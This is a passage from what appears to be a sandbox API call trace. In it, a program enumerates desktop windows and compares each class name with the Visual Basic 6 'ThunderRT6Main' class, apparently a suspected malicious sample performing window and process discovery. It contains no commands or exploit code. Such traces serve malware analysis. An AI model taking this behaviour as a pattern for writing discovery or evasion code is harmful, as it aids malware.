(hWnd=0x10192, uCmd=0x2) returned 0x20208 [0100.502] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0100.502] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0100.502] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.502] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0100.502] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0100.502] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0100.502] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0100.502] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0100.502] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0100.502] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.502] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0100.502] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0100.502] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0100.502] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0100.502] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0100.502] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0100.502] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0100.503] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0100.503] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0100.503] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0100.503] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0100.503] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.503] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0100.503] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0100.503] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0100.503] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0100.503] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0100.503] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0100.503] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.503] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0100.503] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0100.503] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Household") returned 9 [0100.503] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0100.504] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0100.504] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0100.504] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.504] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0100.504] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0100.504] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0100.504] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0100.504] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0100.504] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0100.504] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.504] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0100.504] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0100.504] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0100.504] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0100.504] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0100.504] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0100.505] GetClassNameA (in: hWnd=0x10180, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.505] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0100.505] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0100.505] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Consultants_Consistent_window") returned 29 [0100.505] lstrcmpA (lpString1="Consultants_Consistent_window", lpString2="ThunderRT6Main") returned -1 [0100.505] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0100.505] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0100.505] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.505] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2ec [0100.505] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0100.505] GetClassNameA (in: hWnd=0x10176, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="renew_sonic_Sms_win") returned 19 [0100.505] lstrcmpA (lpString1="renew_sonic_Sms_win", lpString2="ThunderRT6Main") returned -1 [0100.505] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0100.505] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0100.505] GetClassNameA (in: hWnd=0x10178, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x278 [0100.506] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0100.506] GetClassNameA (in: hWnd=0x10172, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Regards_Neo_parade_app") returned 22 [0100.506] lstrcmpA (lpString1="Regards_Neo_parade_app", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0100.506] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0100.506] GetClassNameA (in: hWnd=0x10174, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0100.506] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0100.506] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="marsh_cls") returned 9 [0100.506] lstrcmpA (lpString1="marsh_cls", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0100.506] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0100.506] GetClassNameA (in: hWnd=0x10170, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0100.506] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0100.506] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shotsWorsenh") returned 12 [0100.506] lstrcmpA (lpString1="shotsWorsenh", lpString2="ThunderRT6Main") returned -1 [0100.506] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0100.507] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0100.507] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.507] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0100.507] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10164 [0100.507] GetClassNameA (in: hWnd=0x10164, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="shine_class") returned 11 [0100.507] lstrcmpA (lpString1="shine_class", lpString2="ThunderRT6Main") returned -1 [0100.507] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0100.507] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0100.507] GetClassNameA (in: hWnd=0x10166, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.507] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x778 [0100.507] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0100.507] GetClassNameA (in: hWnd=0x10160, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="waxpreparationcardiaccls") returned 24 [0100.507] lstrcmpA (lpString1="waxpreparationcardiaccls", lpString2="ThunderRT6Main") returned 1 [0100.507] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0100.507] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0100.507] GetClassNameA (in: hWnd=0x10162, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x34c [0100.508] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x1015c [0100.508] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="teRaywindow") returned 11 [0100.508] lstrcmpA (lpString1="teRaywindow", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0100.508] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x1015e [0100.508] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1e0 [0100.508] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0xa0154 [0100.508] GetClassNameA (in: hWnd=0xa0154, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Summer_movie_ourselves_app") returned 26 [0100.508] lstrcmpA (lpString1="Summer_movie_ourselves_app", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0xa0154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0100.508] GetWindow (hWnd=0xa0154, uCmd=0x2) returned 0x20158 [0100.508] GetClassNameA (in: hWnd=0x20158, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f0 [0100.508] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x2010a [0100.508] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="VidsRatingclass") returned 15 [0100.508] lstrcmpA (lpString1="VidsRatingclass", lpString2="ThunderRT6Main") returned 1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0100.508] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x10156 [0100.508] GetClassNameA (in: hWnd=0x10156, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b0 [0100.508] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x20116 [0100.508] GetClassNameA (in: hWnd=0x20116, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0100.508] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0100.508] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0100.509] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0100.509] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0100.509] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0100.509] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0100.509] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0100.509] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0100.509] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0100.509] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0100.509] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0100.509] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0100.509] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0100.509] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0100.509] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0100.509] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0100.509] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0100.509] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0100.509] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0100.509] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0100.509] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0100.509] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0100.509] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0100.509] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0100.509] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0100.509] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0100.510] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.510] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0100.510] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0100.510] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0100.510] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0100.510] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.510] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0100.510] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0100.510] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.510] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0100.510] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0100.510] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.510] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0100.510] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.510] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0100.510] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.510] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.510] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0100.512] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.512] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.513] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.513] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0100.513] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0100.513] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0100.513] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.515] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0100.515] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0100.518] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0100.521] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0100.521] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0100.521] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.521] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.521] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0100.521] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0100.521] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0100.522] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0100.522] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0100.522] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.522] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0100.522] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0100.522] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0100.522] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0100.522] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0100.522] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.522] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0100.522] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0100.522] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.522] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0100.522] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0100.522] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.522] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0100.522] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0100.522] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.522] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0100.522] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0100.522] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0100.522] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0100.522] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.523] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0100.523] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.523] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0100.523] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0100.523] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0100.523] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.523] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0100.523] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0100.523] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0100.523] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0100.523] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.523] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0100.523] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0100.523] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.523] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: 